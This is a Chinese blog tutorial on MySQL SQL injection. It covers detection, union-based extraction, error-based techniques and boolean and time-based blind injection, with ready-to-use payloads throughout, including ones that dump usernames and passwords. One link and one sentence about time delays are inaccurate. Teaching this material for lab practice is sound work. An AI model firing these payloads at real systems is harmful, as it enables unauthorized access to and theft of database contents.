漏洞原理篇---数据库注入攻击(Mysql)

数据库注入攻击

 

一、什么是数据库注入攻击。

  服务端在接收来自客户端的查询参数后,未对查询参数进行严格的过滤。导致恶意用户可在查询参数中插入恶意的sql语句来查询数据库中的敏感信息,最终造成数据库信息泄露。

 

二、注入攻击的分类。

  按查询数据的提交方式分为GET型注入和POST型注入。

  按查询数据的类型分为数值型注入和字符型注入。

  按攻击方式分为基于union联合查询的注入、基于报错的注入、盲注(时间盲注、布尔盲注)

 

三、确定是否存在数据库注入漏洞。

  举一个简单的列子,当存在以下图片中的查询页面时,测试输入1得到返回结果,可以在url栏中发现提交的查询参数id是以get提交方式发送给服务器的。   

    

 

 

   当我们测试输入1'  时,返回结果如下图。当服务端解析执行到 1' 时,触发sql语法报错并返回报错信息,此时可以确定存在字符型注入漏洞,闭合符为单引号。并推测服务端的查询语句为

   "select user_name,user_id from users where user_id='$user_id' "

   

  

  确定存在数据库注入漏洞后,需要我们去闭合插入参数之后的sql语句,以下为常用的方法。

  id=1' and '1'='1  //闭合后面剩下的 单引号

  id=1'#      //#为mysql中的注释符,直接将后面的Sql语句注释掉

  id=1'%23     //%23 为 # 的url 编码

 

  小结:测试是否存在注入 id=1'   id=1"   id=1') 等等

 

 

四、数据库注入攻击方式的解析。

1,基于union联合查询的注入

 

  当存在注入时,使用union联合查询查询数据库中信息的步骤:

  (1)确定查询字段。

    //使用union select 确定字段数

    id=1'union select 1,2,3..... and '1'='1    

    //使用order by确定字段数

    id=1'order by 1 %23

  (2)查询当前数据库名及数据库信息。

  id=1' union select version(),database()%23

  (3)查询数据库中的表。

  id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()'%23

  //group_concat() 对一列数据做拼接,并自动以逗号分隔。

  (4)查询表中的字段信息。

  id=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23

  (5)查询表格数据。

  id=1' union select 1,concat(username,0x7e,password) from users%23

  //concat()  对数据进行拼接,默认不会添加分隔符。

 

 

 

2,基于报错的Mysql注入

 

 (1)floor() + rand() + group by 报错

  基础知识:

  floor(N) 函数,取小于等于N的最大整数。

  

 

  rand() 生成[0,1) 之间的浮点数,当设置种子为N时,生成的随机数是伪随机的,多次生成的数都是固定的。如图floor(rand(0) * 2) 函数生成的随机数依次为0110110等等。

  

 

  as alias_name,避免查询复杂,将前面的语句取一个别名。

  group by,按照查询的某个字段对查询结果进行分组。在分组时会新建一个空表,用于存放分组数据。

  count() ,聚合函数,统计相同的元组个数。

   

  报错语句

  select 1,concat(0x7e,(version()),0x7e,floor(rand(0)*2))as a from information_schema.columns group by a;    // 0x7e 为符号 ~,用于分隔参数

  //详细原理分析,此处贴一链接:https://www.cnblogs.com/Triomphe/p/9489639.html

  

  

 

 

  (2)基于 extractvalue(xml_str,Xpath) 函数的报错注入

    该函数使用Xpath表示法从XML 字符串中提取值,任意一个参数为NULL时,返回结果为NULL。当我们构造不符合规定的Xpath时,数据库就会报语法错误并打印Xpath。

  如查询语句 select extractvalue(1,concat(0x7e,(database()),0x7e)); 执行结果报错,打印出了当前数据库名信息

  

  

 

 

 

  (3)基于updatexml(xml,Xpath,new_xml) 函数的报错注入

  updatexml() 函数使用new_xml 参数根据Xpath来替换xml字符串中的内容,和extractvalue() 函数的原理一样,插入错误Xpath,报错打印数据库信息。

  如查询语句select updatexml(1,concat(0x7e,(user()),0x7e),1); 执行后报错,打印输出了当前数据库用户为root

    

 

  

 

 

 

 

 3,盲注

  有时存在注入漏洞,但利用条件苛刻,需要插入更复杂的SQL语句进行注入。比如服务端执行SQL语句后,不会返回任何信息给客户端 或者 只返回TRUE和FALSE 两个值。这时就需要用到 时间延迟注入和布尔注入了,下面解释这两种注入方式的原理。

 

  (1)bool 注入

    当我们的查询结果只返回TRUE 和 FALSE(对和错)时,就需要我们对数据库中的信息依次猜测并判断,当我们猜测的信息正确时,服务端就会返回TRUE,否则返回FALSE。

    如语句 select database(),10=length(database()) ,判断当前数据库名的长度是否为10,为真返回1,否则返回0。

    

      

  布尔注入中,常用的Mysql 函数及语句

    length(),返回字符串参数的长度。用于判断数据库名、表名、列名等信息长度。

    substr(str,start[,length]),字符串截取函数,start为截取的起始索引(字符串索引从1开始),length为截取的长度。

    mid(str,start[,length]),    字符串截取函数

    ascii(),返回字符的ascii 码值。

    limit 子句,用于限制查询结果的返回数量,常用于分页查询,limit有1个或2个参数,查询结果的索引起始为0

      如limit 0,1  从返回的第1条记录开始截取,共截取1条记录。

      如limit 2,3  冲返回的第3条记录开始截取,共截取3条。

    

    当报错信息超过32位字符时,只显示前32位字符,此时需要使用mid()和substr() 函数对信息进行截取,来获取之后的内容。

 

 

   (2)时间延迟注入

    当提交查询参数后,固定回显某一信息或无回显任何信息,此时无法判断注入的SQL语句是否执行,执行是否正确。这就可以用到时间延迟注入了。时间注入可以说是在bool注入的基础上加以利用的。我们依然是对数据库中的信息依次猜测并判断,如果猜测内容为真,则执行我们插入的sleep() 函数。

  我们可以观察浏览器的响应时间。当猜测正确时,我们提交的sleep() 函数会在服务端的数据库上执行,这样浏览器的响应时间就会有明显的延迟,如果太大的延迟就说明猜测的内容错误。

  

  列举 sqli-labs 靶场中的 Less-9,无论id的值为什么,都显示You are in.....,这时可以提交如下SQL语句猜测数据库中的信息,并观察浏览器的响应时间确认猜测的内容是否正确。

  id=1' and if(8=length(database()),sleep(5),1) and '1'='1

  

   可以看到浏览器正在等待服务器的响应,证明语句 8=length(database()) 为真,执行了sleep(5) 函数。

 

 

 五,推荐

  最后推荐sqli-labs 靶场,多练习注入漏洞,加深对漏洞的理解及利用。

  sqli-labs:https://github.com/c0ny1/upload-labs

 

 

 

 

 

 

 

  

posted @ 2020-03-10 22:52  1mg0  阅读(3163)  评论(0编辑  收藏  举报